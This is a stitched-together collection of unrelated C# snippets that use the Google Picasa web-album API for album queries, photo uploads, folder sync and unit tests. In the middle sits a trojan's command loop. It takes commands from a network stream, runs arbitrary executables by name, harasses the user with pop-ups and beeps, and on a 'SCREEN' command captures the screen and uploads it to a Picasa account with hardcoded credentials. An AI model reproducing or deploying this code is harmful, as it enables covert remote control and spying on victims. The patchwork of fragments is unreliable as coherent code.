private void AuthenticatePicasaButton_Click(object sender, RoutedEventArgs e)
{
authenticatePicasaButton.IsEnabled = false;
authenticatePicasaLabel.Content = "";
try
{
var query = new PhotoQuery(PicasaQuery.CreatePicasaUri(DataModel.Element.PicasaUsername));
query.NumberToRetrieve = 1;
var picasaService = new PicasaService(DataModel.Element.ApplicationName);
picasaService.setUserCredentials(DataModel.Element.GoogleUsername, DataModel.Element.GooglePassword);
var feed = picasaService.Query(query);
authenticatePicasaLabel.Content = "Authentication Successful";
}
catch (Exception exception)
{
authenticatePicasaLabel.Content = "Authentication Failure";
}
finally
{
authenticatePicasaButton.IsEnabled = true;
}
}
public PicasaService Service()
{
var picasaService = new PicasaService(picasaAppName);
picasaService.setUserCredentials(userName, password);
return picasaService;
}
public NewAlbumDialog(PicasaService service, PicasaFeed feed)
{
//
// Required for Windows Form Designer support
//
InitializeComponent();
this.service = service;
this.feed = feed;
}
private static Google.Picasa.Album GetAlbum(PicasaService service, string id)
{
var query = new AlbumQuery(PicasaQuery.CreatePicasaUri("default"));
var feed = service.Query(query);
foreach (var album in feed.Entries.Select(e => new Google.Picasa.Album { AtomEntry = e }))
{
if (album.Id == id)
return album;
}
return null;
}
static void Main(string[] args)
{
DbUtils.OpenDbContext(db =>
{
// clear Db
db.Database.ExecuteSqlCommand("DELETE FROM [Album]");
//
PicasaService service = new PicasaService("");
var feed = default(PicasaFeed);
// add albums
{
AlbumQuery albumQuery = new AlbumQuery(PicasaQuery.CreatePicasaUri("109913968155621160630"));
feed = service.Query(albumQuery);
foreach (PicasaEntry entry in feed.Entries)
{
var apiAlbum = new AlbumAccessor(entry);
db.Albums.Add(new Album
{
ExternalId = apiAlbum.Id,
Name = apiAlbum.AlbumTitle,
CoverPath = entry.Media.Thumbnails[0].Url,
IsActive = false
});
}
db.SaveChanges();
}
// add images to albums
{
foreach (var dbAlbum in db.Albums)
{
PhotoQuery photoQuery = new PhotoQuery(PicasaQuery.CreatePicasaUri("109913968155621160630", dbAlbum.ExternalId));
feed = service.Query(photoQuery);
foreach (PicasaEntry entry in feed.Entries)
{
dbAlbum.AlbumImages.Add(new AlbumImage
{
Name = entry.Title.Text,
Path = entry.Media.Contents[0].Url,
Thumbnail = entry.Media.Thumbnails[entry.Media.Thumbnails.Count - 1].Url,
Description = entry.Media.Description.Value
});
}
}
db.SaveChanges();
}
});
}
internal PicasaAlbumInfo(PicasaEntry album, PicasaService picasaService)
{
if (picasaService == null)
throw new ArgumentNullException("picasaService", "picasaService is null.");
if (album == null)
throw new ArgumentNullException("album", "album is null.");
_picasaService = picasaService;
_album = album;
NumPhotos = Int32.Parse(_album.GetPhotoExtensionValue(GPhotoNameTable.NumPhotos));
RemainingPhotos = Int32.Parse(_album.GetPhotoExtensionValue(GPhotoNameTable.NumPhotosRemaining));
Title = _album.Title.Text;
if (_album.Media.Thumbnails != null && _album.Media.Thumbnails.Count > 0)
AlbumCover = new Bitmap(_picasaService.Query(new Uri((string)_album.Media.Thumbnails[0].Attributes["url"])));
Id = _album.GetPhotoExtensionValue(GPhotoNameTable.Id);
}
public GoogleService(string username, string password)
{
// init the service
this.username = username;
service = new PicasaService(AppName);
service.setUserCredentials(username, password);
// cache albums
AlbumQuery query = new AlbumQuery(PicasaQuery.CreatePicasaUri(username));
PicasaFeed feed = service.Query(query);
foreach (PicasaEntry entry in feed.Entries)
{
Album a = new Album();
a.AtomEntry = entry;
cache[a.Title] = a;
}
}
public PictureBrowser(PicasaService service, bool doBackup)
{
//
// Required for Windows Form Designer support
//
InitializeComponent();
this.picasaService = service;
this.picasaService.AsyncOperationCompleted += new AsyncOperationCompletedEventHandler(this.OnDone);
this.picasaService.AsyncOperationProgress += new AsyncOperationProgressEventHandler(this.OnProgress);
if (doBackup == true)
{
this.DownloadPhoto.Enabled = false;
this.DownloadPhoto.Visible = false;
this.UploadPhoto.Enabled = false;
this.UploadPhoto.Visible = false;
}
}
public static string SubmitImage(Stream photoStream, string contentType, string slugHeader)
{
PicasaService service = new PicasaService("phinitive");
string password = ConfigurationManager.AppSettings["GoogleAccountPassword"] ?? String.Empty;
if (String.IsNullOrWhiteSpace(password))
{
return "Password is empty";
}
else
{
service.setUserCredentials("*****@*****.**", password);
PicasaEntry entry = (PicasaEntry)service.Insert(
new Uri("https://picasaweb.google.com/data/feed/api/user/default/albumid/default"),
photoStream,
contentType,
slugHeader);
return entry.MediaUri.Content;
}
}
public PictureBrowser(PicasaService service, PicasaFeed feed, string albumTitle)
{
//
// Required for Windows Form Designer support
//
InitializeComponent();
this.photoFeed = feed;
this.picasaService = service;
this.Text += albumTitle;
if (this.photoFeed != null && this.photoFeed.Entries.Count > 0)
{
foreach (PicasaEntry entry in this.photoFeed.Entries)
{
ListViewItem item = new ListViewItem(entry.Title.Text);
item.Tag = entry;
this.PhotoList.Items.Add(item);
}
}
}
public static string GetAlbum(string album)
{
string retVal;
try
{
var service = new PicasaService("exampleCo-exampleApp-1");
string usr = Settings.GetSingleValue("Account") + "@gmail.com";
string pwd = Settings.GetSingleValue("Password");
service.setUserCredentials(usr, pwd);
var query = new PhotoQuery(PicasaQuery.CreatePicasaUri(usr, album));
PicasaFeed feed = service.Query(query);
retVal = "<ul id=\"AlbumList\">";
foreach (PicasaEntry entry in feed.Entries)
{
var firstThumbUrl = entry.Media.Thumbnails[0].Attributes["url"] as string;
string thumGrp = "/s" + Settings.GetSingleValue("PicWidth") + "/";
if (firstThumbUrl != null) firstThumbUrl = firstThumbUrl.Replace("/s72/", thumGrp);
var contentUrl = entry.Media.Content.Attributes["url"] as string;
if (contentUrl != null) contentUrl = contentUrl.Substring(0, contentUrl.LastIndexOf("/"));
contentUrl += "/s640/" + entry.Title.Text;
retVal += string.Format(Img, firstThumbUrl, contentUrl);
}
retVal += "</ul>";
}
catch (Exception qex)
{
retVal = qex.Message;
}
return retVal;
}
public PicasaService GetPicasaService(bool recreate = false)
{
if (recreate)
{
//Recreate service
_picasaService = null;
//Get google drive about to sync autorization
//Because unknown problems in picasa autorization
var drive = new GoogleDriveClient();
drive.GetAbout();
}
if (_picasaService == null)
{
var creditals = GoogleDriveClient.GetCreditals();
var requestFactory = new GDataRequestFactory(null);
requestFactory.CustomHeaders.Add("Authorization: Bearer " + creditals.Token.AccessToken);
requestFactory.CustomHeaders.Add("Gdata-version: 2");
_picasaService = new PicasaService("api-project");
_picasaService.RequestFactory = requestFactory;
}
return _picasaService;
}
static public void saveImageFile(PicasaEntry entry, string filename, PicasaService service)
{
if (entry.Media != null &&
entry.Media.Content != null)
{
Stream stream = service.Query(new Uri(entry.Media.Content.Attributes["url"] as string));
FileStream fs = new FileStream(filename, FileMode.OpenOrCreate);
BinaryWriter w = new BinaryWriter(fs);
byte []buffer = new byte[1024];
int iRead=0;
int iOffset = 0;
while ((iRead = stream.Read(buffer, 0, 1024)) > 0)
{
w.Write(buffer, 0, iRead);
iOffset += iRead;
}
w.Close();
fs.Close();
}
}
private void UpdateAlbumAccess(PicasaService session, Album albumToUpdate, AlbumAccessEnum albumAccess)
{
//update existing album
WriteOutput(string.Concat("Updating Album: ", albumToUpdate.AtomEntry.Title.Text), true);
albumToUpdate.Updated = DateTime.Now;
albumToUpdate.Access = albumAccess.ToString().ToLower();
albumToUpdate.AtomEntry = (PicasaEntry)albumToUpdate.AtomEntry.Update();
m_albumUpdateCount++;
}
/// <summary>
/// Syncs a local folder to an online Picasa Web Album location
/// </summary>
/// <param name="sourceFolder">The source folder to sync.</param>
/// <param name="albumNamePrefix">A prefix to prepend to the album name.</param>
/// <param name="includeSubFolders">Indicated whether to sync all subfolders recursively.</param>
/// <param name="session">The current authenticated Picasa session.</param>
/// <param name="albumFeed">A feed listing all existing Picass Web Albums in the Picasa account.</param>
private void SyncFolder(DirectoryInfo sourceFolder, string albumNamePrefix, AlbumAccessEnum targetAlbumAccess, bool includeSubFolders, PicasaService session, PicasaFeed albumFeed)
{
if (!sourceFolder.Exists)
{
throw new DirectoryNotFoundException(string.Format("Folder '{0}' cannot be located.", sourceFolder.FullName));
}
string targetAlbumName = GetTargetAlbumName(sourceFolder, albumNamePrefix);
Dictionary<string, FileInfo> sourceFiles = GetSourceFiles(sourceFolder);
bool excludeFolder = ShouldExcludeFolder(sourceFolder, sourceFiles);
PicasaEntry existingAlbumEntry = albumFeed.Entries.FirstOrDefault(a => a.Title.Text == targetAlbumName) as PicasaEntry;
if (excludeFolder)
{
if (existingAlbumEntry != null && !this.AddOnly)
{
//album needs to be removed
WriteOutput(string.Format("Removing Album: {0} (excluded but already exists)", targetAlbumName));
existingAlbumEntry.Delete();
existingAlbumEntry.Summary.Text = ENTRY_DELETED_SUMMARY;
m_albumDeleteCount++;
}
else
{
m_folderSkipCount++;
}
}
else
{
WriteOutput(string.Format("Syncing Folder: {0} to Album: {1}", sourceFolder.FullName, targetAlbumName), true);
try
{
targetAlbumAccess = DetermineAlbumAccess(sourceFolder, targetAlbumAccess);
if (sourceFiles.Count > 0)
{
Album targetAlbum = new Album();
if (existingAlbumEntry != null)
{
targetAlbum.AtomEntry = existingAlbumEntry;
if (targetAlbum.Access != targetAlbumAccess.ToString().ToLower())
{
UpdateAlbumAccess(session, targetAlbum, targetAlbumAccess);
}
}
else
{
targetAlbum = CreateAlbum(session, albumFeed, targetAlbumName, targetAlbumAccess);
}
PhotoQuery existingAlbumPhotosQuery = new PhotoQuery(PicasaQuery.CreatePicasaUri(this.PicasaUsername, targetAlbum.Id));
PicasaFeed existingAlbumPhotosFeed = session.Query(existingAlbumPhotosQuery);
//sync folder files
DeleteFilesFromAlbum(sourceFiles, existingAlbumPhotosFeed);
foreach (KeyValuePair<string, FileInfo> file in sourceFiles.OrderBy(f => f.Value.LastWriteTime))
{
AddFileToAlbum(file.Value, targetAlbum, existingAlbumPhotosFeed, session);
}
}
}
catch (Exception ex)
{
WriteOutput(string.Format("Skipping Folder: {0} (Error - {1})", sourceFolder.Name, ex.Message), true);
}
if (includeSubFolders)
{
DirectoryInfo[] subfolders = sourceFolder.GetDirectories().OrderBy(d => d.CreationTime).ToArray();
if (subfolders.Length > 0)
{
foreach (DirectoryInfo folder in subfolders)
{
SyncFolder(folder, targetAlbumName, targetAlbumAccess, includeSubFolders, session, albumFeed);
}
}
}
}
}
private Album CreateAlbum(PicasaService session, PicasaFeed albumFeed, string targetAlbumName, AlbumAccessEnum albumAccess)
{
//create album (doesn't exist)
WriteOutput(string.Concat("Creating Album: ", targetAlbumName), true);
AlbumEntry newAlbumEntry = new AlbumEntry();
newAlbumEntry.Title.Text = targetAlbumName;
newAlbumEntry.Summary.Text = targetAlbumName;
newAlbumEntry.Published = DateTime.Now;
Album newAlbum = new Album();
newAlbum.AtomEntry = newAlbumEntry;
newAlbum.Access = albumAccess.ToString().ToLower();
Uri insertAlbumFeedUri = new Uri(PicasaQuery.CreatePicasaUri(this.PicasaUsername));
newAlbum.AtomEntry = (PicasaEntry)session.Insert(insertAlbumFeedUri, newAlbumEntry);
m_albumCreateCount++;
return newAlbum;
}
/* public string LoginToGoogle(out string token)
{
GDataGAuthRequestFactory authFactory = new GDataGAuthRequestFactory("lh2", this.m_serviceName);
authFactory.AccountType = "GOOGLE_OR_HOSTED";
this.m_albumService = new PicasaService(authFactory.ApplicationName);
try
{
this.m_albumService.setUserCredentials(this.m_userName, this.m_password);
this.m_albumService.QueryAuthenticationToken(); // Authenticate the user immediately
}
catch (CaptchaRequiredException e)
{
token = e.Token;
return e.Url;
}
}
public string LoginToGoogle(out string token, string CAPTCHAAnswer, string CAPTCHAToken)
{
GDataGAuthRequestFactory authFactory = new GDataGAuthRequestFactory("lh2", this.m_serviceName);
authFactory.AccountType = "GOOGLE_OR_HOSTED";
string token = string.Empty;
this.m_albumService = new PicasaService(authFactory.ApplicationName);
authFactory.CaptchaAnswer = CAPTCHAAnswer;
authFactory.CaptchaToken = CAPTCHAToken;
this.m_albumService.setUserCredentials(this.m_userName, this.m_password);
token = this.m_albumService.QueryAuthenticationToken(); // Authenticate the user immediately
return token;
}
*/
public List<PicasaWebAlbum> QueryAlbums()
{
// Create an authentication factory to deal with logging in.
GDataGAuthRequestFactory authFactory = new GDataGAuthRequestFactory("lh2", this.m_serviceName);
authFactory.AccountType = "GOOGLE_OR_HOSTED";
this.m_albumService = new PicasaService(authFactory.ApplicationName);
this.m_albumService.RequestFactory = authFactory;
this.m_albumService.SetAuthenticationToken(this.mUserToken);
this.m_albumQuery = new AlbumQuery(PicasaQuery.CreatePicasaUri("default"));
this.m_albumQuery.Access = PicasaQuery.AccessLevel.AccessAll;
List<PicasaWebAlbum> retval = new List<PicasaWebAlbum>();
try
{
CreateAlbumProxy();
this.m_albumFeed = this.m_albumService.Query(this.m_albumQuery);
}
catch (Exception e)
{
this.m_albumQuery = null;
this.m_albumService.RequestFactory = null;
this.m_albumService = null;
this.m_albumFeed = null;
retval = null;
throw new Exception("PicasaReader failed when downloading album feed for "+this.m_userName, e);
}
foreach (PicasaEntry entry in this.m_albumFeed.Entries)
{
AlbumAccessor ac = new AlbumAccessor(entry);
retval.Add(new PicasaWebAlbum(entry.Title.Text, entry.Updated,ac.NumPhotos,Convert.ToUInt64(ac.Id)));
}
this.m_albumQuery = null;
this.m_albumService.RequestFactory = null;
this.m_albumService = null;
this.m_albumFeed = null;
return retval;
}
/// <summary>
/// Syncs a local folder to an online Picasa Web Album location
/// </summary>
/// <param name="folderPath">The source folder to sync.</param>
public void SyncFolder(string folderPath)
{
ResetCounters();
PicasaService session = new PicasaService("PicasaWebSync");
session.setUserCredentials(this.PicasaUsername, this.PicasaPassword);
AlbumQuery query = new AlbumQuery(PicasaQuery.CreatePicasaUri(this.PicasaUsername));
try
{
WriteOutput("[Connecting to Picasa web service]");
//fetch all albums
PicasaFeed albumFeed = session.Query(query);
WriteOutput("[Starting sync]");
folderPath = folderPath.TrimEnd(new char[] { '\\' });
DirectoryInfo sourceFolder = new DirectoryInfo(folderPath);
m_baseDirectoryName = sourceFolder.Name;
SyncFolder(sourceFolder, null, this.AlbumAccess, this.IncludeSubFolders, session, albumFeed);
}
catch (GDataRequestException gdrex)
{
if (gdrex.ResponseString.Contains(GDATA_RESPONSE_BADAUTH))
{
throw new AuthenticationException("Picasa error - username and/or password is incorrect! Check the config file values.");
}
else
{
throw new Exception(string.Format("Picasa error - {0}", gdrex.ResponseString));
}
}
WriteOutput("[Done]");
WriteOutput(string.Empty);
WriteOutput("Summary:");
WriteOutput(string.Format(" Folders skipped: {0}", m_folderSkipCount.ToString()));
WriteOutput(string.Format(" Albums created: {0}", m_albumCreateCount.ToString()));
WriteOutput(string.Format(" Albums updated: {0}", m_albumUpdateCount.ToString()));
WriteOutput(string.Format(" Albums deleted: {0}", m_albumDeleteCount.ToString()));
WriteOutput(string.Format(" Files uploaded: {0}", m_fileCreateCount.ToString()));
WriteOutput(string.Format(" Files removed: {0}", m_fileDeleteCount.ToString()));
WriteOutput(string.Format(" Files skipped: {0}", m_fileSkipCount.ToString()));
WriteOutput(string.Format(" Errors occured: {0}", m_errorsCount.ToString()));
WriteOutput(string.Format(" Elapsed time: {0}", (DateTime.Now - m_startTime).ToString()));
}
public List<string> QueryTag(PicasaWebPhoto photo)
{
List<string> retval = new List<string>();
this.m_tagQuery = new TagQuery(TagQuery.CreatePicasaUri(this.m_userName, this.m_albumName, photo.AccessId));
this.m_tagService = new PicasaService("Tags");
//this.m_tagService.setUserCredentials(this.m_userName, this.m_password);
this.m_tagService.SetAuthenticationToken(this.mUserToken);
CreateTagProxy();
try
{
this.m_tagFeed = this.m_tagService.Query(this.m_tagQuery);
foreach (PicasaEntry entry in m_tagFeed.Entries)
{
retval.Add(entry.Title.Text);
}
}
catch (Exception e)
{
this.m_tagQuery = null;
this.m_tagService.RequestFactory = null;
this.m_tagService = null;
this.m_tagFeed = null;
throw new Exception("Query Tag Exception", e);
}
this.m_tagQuery = null;
this.m_tagService.RequestFactory = null;
this.m_tagService = null;
this.m_tagFeed = null;
return retval;
}
/////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
/// <summary>tries to insert a photo using MIME multipart</summary>
//////////////////////////////////////////////////////////////////////
[Test] public void InsertMimePhotoTest()
{
Tracing.TraceMsg("Entering InsertMimePhotoTest");
AlbumQuery query = new AlbumQuery();
PicasaService service = new PicasaService("unittests");
if (this.defaultPhotosUri != null)
{
if (this.userName != null)
{
service.Credentials = new GDataCredentials(this.userName, this.passWord);
}
query.Uri = new Uri(this.defaultPhotosUri);
PicasaFeed feed = service.Query(query);
if (feed != null)
{
Assert.IsTrue(feed.Entries != null, "the albumfeed needs entries");
Assert.IsTrue(feed.Entries[0] != null, "the albumfeed needs at least ONE entry");
PicasaEntry album = feed.Entries[0] as PicasaEntry;
PhotoEntry newPhoto = new PhotoEntry();
newPhoto.Title.Text = "this is a title";
newPhoto.Summary.Text = "A lovely shot in the ocean";
newPhoto.MediaSource = new MediaFileSource(this.resourcePath + "testnet.jpg", "image/jpeg");
Uri postUri = new Uri(album.FeedUri.ToString());
PicasaEntry entry = service.Insert(postUri, newPhoto) as PicasaEntry;
Assert.IsTrue(entry.IsPhoto, "the new entry should be a photo entry");
entry.Title.Text = "This is a new Title";
entry.Summary.Text = "A lovely shot in the shade";
entry.MediaSource = new MediaFileSource(this.resourcePath + "testnet.jpg", "image/jpeg");
PicasaEntry updatedEntry = entry.Update() as PicasaEntry;
Assert.IsTrue(updatedEntry.IsPhoto, "the new entry should be a photo entry");
Assert.IsTrue(updatedEntry.Title.Text == "This is a new Title", "The titles should be identical");
Assert.IsTrue(updatedEntry.Summary.Text == "A lovely shot in the shade", "The summariesa should be identical");
}
}
}
public PicasaUploadService()
{
_picasaService = new PicasaService("PicasaUploader");
SetupWorkarounds();
}
//We'll run this on another thread so the CPU doesn't go haywire.
public static void Receive()
{
//Infinite loop
while (true)
{
//Try to read the data.
try
{
//Packet of the received data
byte[] RecPacket = new byte[1000];
//Read a command from the client.
Receiver.Read(RecPacket, 0, RecPacket.Length);
//Flush the receiver
Receiver.Flush();
//Convert the packet into a readable string
string Command = Encoding.ASCII.GetString(RecPacket);
//Split the command into two different strings based on the splitter we made, ---
string[] CommandArray = System.Text.RegularExpressions.Regex.Split(Command, "---");
//Get the actual command.
Command = CommandArray[0];
//A switch which does a certain thing based on the received command
switch (Command)
{
//Code for "MESSAGE"
case "MESSAGE":
string Msg = CommandArray[1];
string ile1 = CommandArray[2];
for (int i = 0; i < Convert.ToInt32(ile1); i++)
{
//Display the message in a messagebox (the trim removes any excess data received :D)
MessageBox.Show(Msg.Trim('\0'));
}
break;
case "OPENSITE":
//Get the website URL
string Site = CommandArray[1];
//Open the site using Internet Explorer
string ile2 = CommandArray[2];
for (int i = 0; i < Convert.ToInt32(ile2); i++)
{
System.Diagnostics.Process IE = new System.Diagnostics.Process();
IE.StartInfo.FileName = "iexplore.exe";
IE.StartInfo.Arguments = Site.Trim('\0');
IE.StartInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Maximized;
IE.Start();
}
break;
case "BEEP":
string czas = CommandArray[1];
for (int i = 0; i <Convert.ToInt32(czas); i++)
{
Console.Beep(5000, 100);
Console.Beep(100, 300);
Console.Beep(1000, 100);
Console.Beep(500, 300);
Console.Beep(3000, 500);
Console.Beep(500, 100);
Console.Beep(1000, 100);
}
break;
case "TAPETA":
string lokalizacja = CommandArray[1];
{
//SetWallpaper(openGraphic.FileName, 2, 0);
int Result;
string bmp_path = lokalizacja;
Result = SystemParametersInfo(20, 0, bmp_path, 0x1 | 0x2);
}
break;
case "MOW":
string tekst = CommandArray[1];
string ile4 = CommandArray[2];
for (int i = 0; i < Convert.ToInt32(ile4); i++)
{
SpeechSynthesizer speaker = new SpeechSynthesizer();
speaker.Rate = 1;
speaker.Volume = 100;
speaker.Speak(tekst);
}
break;
case "SCREEN":
string data = DateTime.Now.ToShortDateString();
string godzina = DateTime.Now.ToString("HH.mm.ss");
string plik = data + "Godzina." + godzina + "s.jpeg";
{
//Funkcja robi screenshota
ScreenCapture sc = new ScreenCapture();
sc.CaptureScreenToFile( plik ,ImageFormat.Jpeg);
///Funkcja uploadująca na serwer picassy
PicasaService service = new PicasaService("exampleCo-exampleApp-1");
service.setUserCredentials("Trojan.cSharp", "trojanc#");
System.IO.FileInfo fileInfo = new System.IO.FileInfo(plik);
System.IO.FileStream fileStream = fileInfo.OpenRead();
PicasaEntry entry = (PicasaEntry)service.Insert(new Uri("https://picasaweb.google.com/data/feed/api/user/default/albumid/default"), fileStream, "image/jpeg", plik);
fileStream.Close();
}
break;
default:
string ile3 = CommandArray[1];
for (int i = 0; i < Convert.ToInt32(ile3); i++)
{
System.Diagnostics.Process proces = new System.Diagnostics.Process();
proces.StartInfo.FileName = Command;
proces.Start();
}
break;
}
}
catch
{
//Stop reading data and close
break;
}
}
}
public List<string> QueryTag(PicasaWebPhoto photo, BackgroundWorker worker, int overallJobPercent)
{
List<string> retval = new List<string>();
this.m_tagQuery = new TagQuery(TagQuery.CreatePicasaUri(this.m_userName, this.m_albumName, photo.AccessId));
this.m_tagService = new PicasaService("Tags");
//this.m_tagService.setUserCredentials(this.m_userName, this.m_password);
this.m_tagService.SetAuthenticationToken(this.mUserToken);
decimal count = ((decimal)overallJobPercent / 100) * 10;
int smallCount = (int)count;
worker.ReportProgress(0, (object)"Creating proxy");
CreateTagProxy();
try
{
worker.ReportProgress(smallCount, (object)"Proxy created");
worker.ReportProgress(0, (object)"Querying google");
this.m_tagFeed = this.m_tagService.Query(this.m_tagQuery);
worker.ReportProgress(smallCount, (object)"Done");
if (this.m_tagFeed.Entries.Count > 0)
{
int percent = (int)Math.Round((decimal)((overallJobPercent - (smallCount * 2)) / this.m_tagFeed.Entries.Count), 0);
worker.ReportProgress(0, (object)"Processing tag data");
foreach (PicasaEntry entry in m_tagFeed.Entries)
{
retval.Add(entry.Title.Text);
worker.ReportProgress(percent, null);
}
}
}
catch (Exception e)
{
this.m_tagQuery = null;
this.m_tagService.RequestFactory = null;
this.m_tagService = null;
this.m_tagFeed = null;
throw new Exception("Query Tag Exception", e);
}
this.m_tagQuery = null;
this.m_tagService.RequestFactory = null;
this.m_tagService = null;
this.m_tagFeed = null;
return retval;
}
/// <summary>
/// Syncs a local file to an online Picasa Web Album location
/// </summary>
/// <param name="sourceFile">The image to sync.</param>
/// <param name="targetAlbum">The target Picasa Web Album.</param>
/// <param name="targetAlbumPhotoFeed">The target Picasa Web Album photo feed listing existing photos.</param>
/// <param name="session">The current authenticated Picasa session.</param>
private void AddFileToAlbum(FileInfo sourceFile, Album targetAlbum, PicasaFeed targetAlbumPhotoFeed, PicasaService session)
{
try
{
PicasaEntry existingPhotoEntry = (PicasaEntry)targetAlbumPhotoFeed.Entries.FirstOrDefault(
p => p.Title.Text == sourceFile.Name && p.Summary.Text != ENTRY_DELETED_SUMMARY);
if (existingPhotoEntry != null)
{
WriteOutput(string.Format("Skipping File: {0} (already exists)", sourceFile.Name), true);
m_fileSkipCount++;
}
else
{
ImageFormat imageFormat;
string contentType;
bool isImage;
bool isVideo;
GetFileInfo(sourceFile, out isImage, out isVideo, out imageFormat, out contentType);
Stream postResponseStream = null;
Stream postFileStream = null;
string souceFilePath = sourceFile.FullName;
try
{
if (isVideo && this.ResizeVideos)
{
WriteOutput(string.Concat("Resizing Video: ", sourceFile.FullName), true);
string resizedVideoPath = VideoResizer.ResizeVideo(sourceFile, this.ResizeVideosCommand);
//change souceFilePath to resized video file location
souceFilePath = resizedVideoPath;
}
using (Stream sourceFileStream = new FileStream(souceFilePath, FileMode.Open, FileAccess.Read))
{
postFileStream = sourceFileStream;
if (isImage && this.ResizePhotos)
{
WriteOutput(string.Concat("Resizing Photo: ", sourceFile.FullName), true);
postFileStream = ImageResizer.ResizeImage(postFileStream, imageFormat, this.ResizePhotosMaxSize);
}
WriteOutput(string.Format("Uploading File: {0}", sourceFile.FullName), true);
Uri insertPhotoFeedUri = new Uri(PicasaQuery.CreatePicasaUri(this.PicasaUsername, targetAlbum.Id));
PhotoEntry newFileEntry = new PhotoEntry();
newFileEntry.Title.Text = sourceFile.Name;
newFileEntry.Summary.Text = string.Empty;
newFileEntry.MediaSource = new MediaFileSource(postFileStream, sourceFile.Name, contentType);
//upload file using multipart request
postResponseStream = session.EntrySend(insertPhotoFeedUri, newFileEntry, GDataRequestType.Insert);
newFileEntry.MediaSource.GetDataStream().Dispose();
}
m_fileCreateCount++;
}
finally
{
if (postResponseStream != null)
{
postResponseStream.Dispose();
}
if (postFileStream != null)
{
postFileStream.Dispose();
}
}
if (isVideo && this.ResizeVideos)
{
//video was resized and souceFilePath should be temp/resized video path
try
{
File.Delete(souceFilePath);
}
catch (Exception ex)
{
WriteOutput(string.Format("Error Deleting Resized Video: {0} (Error - {1})", sourceFile.FullName, ex.Message), true);
}
}
}
}
catch (GDataRequestException gdex)
{
WriteOutput(string.Format("Skipping File: {0} (Error - {1})", sourceFile.Name, gdex.ResponseString), true);
m_errorsCount++;
}
catch (Exception ex)
{
WriteOutput(string.Format("Skipping File: {0} (Error - {1})", sourceFile.Name, ex), true);
m_errorsCount++;
}
}
protected string GetAlbumsTable()
{
if (string.IsNullOrEmpty(Settings.GetSingleValue("Account"))) return string.Empty;
var service = new PicasaService("exampleCo-exampleApp-1");
string usr = Settings.GetSingleValue("Account") + "@gmail.com";
string pwd = Settings.GetSingleValue("Password");
service.setUserCredentials(usr, pwd);
var sb = new StringBuilder("<table class=\"beTable\">");
var query = new AlbumQuery(PicasaQuery.CreatePicasaUri(usr));
PicasaFeed feed = service.Query(query);
sb.Append(GetHeader());
var cnt = 0;
foreach (PicasaEntry entry in feed.Entries)
{
var ac = new AlbumAccessor(entry);
const string cell = "<td>{0}</td>";
sb.Append(cnt%2 == 0 ? "<tr>" : "<tr class=\"alt\">");
// thumbnail
string albumUri = ((Google.GData.Client.AtomEntry)(entry)).AlternateUri.ToString();
string firstThumbUrl = entry.Media.Thumbnails[0].Attributes["url"] as string;
string thumbAncr = string.Format("<a href=\"{2}\"><img src=\"{0}\" alt=\"{1}\" width=\"40\" /></a>",
firstThumbUrl, entry.Title.Text, albumUri);
sb.Append(string.Format(cell, thumbAncr));
// title
sb.Append(string.Format(cell, ac.AlbumTitle));
// description
sb.Append(string.Format(cell, ac.AlbumSummary + " "));
// number of photos
sb.Append(string.Format(cell, ac.NumPhotos));
// access
sb.Append(string.Format(cell, ac.Access));
// extension tag
string feedUri = entry.FeedUri;
const string showTag = "[PicasaShow:{0}]";
const string albmTag = "[PicasaAlbum:{0}]";
if (ac.Access.ToLower() == "protected")
{
sb.Append(string.Format(cell, " "));
sb.Append(string.Format(cell, " "));
}
else
{
sb.Append(string.Format(cell, string.Format(showTag, ac.AlbumTitle)));
sb.Append(string.Format(cell, string.Format(albmTag, ac.AlbumTitle)));
}
sb.Append("</tr>");
cnt++;
}
return sb + "</table>";
}
protected virtual void Dispose(bool disposing)
{
if (!is_disposed) // only dispose once!
{
if (disposing)
{
m_albumService = null;
m_albumFeed = null;
m_albumQuery = null;
m_photoService = null;
m_photoQuery = null;
m_photoFeed = null;
m_userName = null;
m_serviceName = null;
m_albumName = null;
}
}
this.is_disposed = true;
}
/////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
/// <summary>runs an authentication test, iterates all entries</summary>
//////////////////////////////////////////////////////////////////////
[Test] public void QueryPhotosTest()
{
Tracing.TraceMsg("Entering PhotosQueryPhotosTest");
PhotoQuery query = new PhotoQuery();
PicasaService service = new PicasaService("unittests");
if (this.defaultPhotosUri != null)
{
if (this.userName != null)
{
service.Credentials = new GDataCredentials(this.userName, this.passWord);
}
GDataLoggingRequestFactory factory = (GDataLoggingRequestFactory) this.factory;
factory.MethodOverride = true;
service.RequestFactory = this.factory;
query.Uri = new Uri(this.defaultPhotosUri);
PicasaFeed feed = service.Query(query);
ObjectModelHelper.DumpAtomObject(feed,CreateDumpFileName("PhotoAuthTest"));
if (feed != null && feed.Entries.Count > 0)
{
Tracing.TraceMsg("Found a Feed " + feed.ToString());
DisplayExtensions(feed);
foreach (PicasaEntry entry in feed.Entries)
{
Tracing.TraceMsg("Found an entry " + entry.ToString());
DisplayExtensions(entry);
GeoRssWhere w = entry.Location;
if (w != null)
{
Tracing.TraceMsg("Found an location " + w.Latitude + w.Longitude);
}
ExifTags tags = entry.Exif;
if (tags != null)
{
Tracing.TraceMsg("Found an exif block ");
}
MediaGroup group = entry.Media;
if (group != null)
{
Tracing.TraceMsg("Found a media Group");
if (group.Title != null)
{
Tracing.TraceMsg(group.Title.Value);
}
if (group.Keywords != null)
{
Tracing.TraceMsg(group.Keywords.Value);
}
if (group.Credit != null)
{
Tracing.TraceMsg(group.Credit.Value);
}
if (group.Description != null)
{
Tracing.TraceMsg(group.Description.Value);
}
}
PhotoAccessor photo = new PhotoAccessor(entry);
Assert.IsTrue(entry.IsPhoto, "this is a photo entry, it should have the kind set");
Assert.IsTrue(photo != null, "this is a photo entry, it should convert to PhotoEntry");
Assert.IsTrue(photo.AlbumId != null);
Assert.IsTrue(photo.Height > 0);
Assert.IsTrue(photo.Width > 0);
}
}
factory.MethodOverride = false;
}
}
public static PicasaEntry RetrievePicasaEntry(string id)
{
PicasaService service = new PicasaService(Picasa_APPLICATION_NAME);
service.setUserCredentials(config.Username, config.Password);
PhotoQuery photoQuery = new PhotoQuery(PicasaQuery.CreatePicasaUri(config.Username, string.Empty, id));
photoQuery.NumberToRetrieve = 1;
PicasaFeed picasaFeed = service.Query(photoQuery);
if (picasaFeed.Entries.Count > 0)
{
return (PicasaEntry)picasaFeed.Entries[0];
}
return null;
}
/////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
